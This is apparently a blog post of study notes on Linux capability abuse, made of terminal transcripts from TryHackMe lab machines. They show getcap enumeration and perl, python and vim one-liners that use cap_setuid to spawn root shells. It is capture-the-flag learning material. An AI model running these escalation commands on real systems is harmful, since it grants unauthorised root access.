Skip to main content

Linux Capabilities: Notes

Example: perl

hatter@wonderland:~$ getcap /usr/bin/perl
/usr/bin/perl = cap_setuid+ep
$ ./perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
hatter@wonderland:~$ /usr/bin/perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";'
root@wonderland:~# id
uid=0(root) gid=1003(hatter) groups=1003(hatter)
root@wonderland:~#

Example: python2.6

TCM@debian:~$ getcap -r / 2>/dev/null
TCM@debian:~$ /usr/bin/python2.6 -c 'import os;os.setuid(0);os.system("/bin/bash")'
root@debian:~# id
uid=0(root) gid=1000(user) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
root@debian:~#

leonard@undiscovered:~$ getcap -r /usr/bin/vim.basic
/usr/bin/vim.basic = cap_setuid+ep
leonard@undiscovered:~$ /usr/bin/vim.basic -c 'py3 import os; os.setuid(0); os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
^[[2;2R# id
sh: 1: ot found
sh: 1: 2Rid: not found
# id
uid=0(root) gid=1002(leonard) groups=1002(leonard),3004(developer)
#

References

Linux Privilege Escalation using Capabilities

Using POSIX Capabilities | THE URBAN PENGUIN

Practice

THM | Wonderland

THM | Undiscovered

Related articles

Linux SUID - Set User ID

Popular posts from this blog

Linux command: wc - word count

Sharon McCutcheon on Unsplash "/> wc - print newline, word, and byte counts for each file

error setting certificate verify locations when run git clone

I run into this error while using git clone. D:\Projects>git clone https://github.com/jonmountjoy/facebook-template-ruby Cloning into 'facebook-template-ruby'... fatal: unable to access 'https://github.com/jonmountjoy/facebook-template-ruby/': error setting certificate verify locations:   CAfile: C:/Program Files (x86)/Git/mingw32/ssl/certs/ca-bundle.crt   CApath: none How to fix Run DOS Prompt as Administrator, and run git config --system http.sslcainfo "Path to ca-bundle.crt" Microsoft Windows [Version 10.0.10586] (c) 2015 Microsoft Corporation. All rights reserved. C:\WINDOWS\system32> git config --system http.sslcainfo "C:/Program Files/Git/mingw64/ssl/certs/ca-bundle.crt" C:\WINDOWS\system32> Then, I can run git clone successfully. D:\Projects>git clone https://github.com/jonmountjoy/facebook-template-ruby Cloning into 'facebook-template-ruby'... remote: Counting objects: 177, done. remote: Total 1...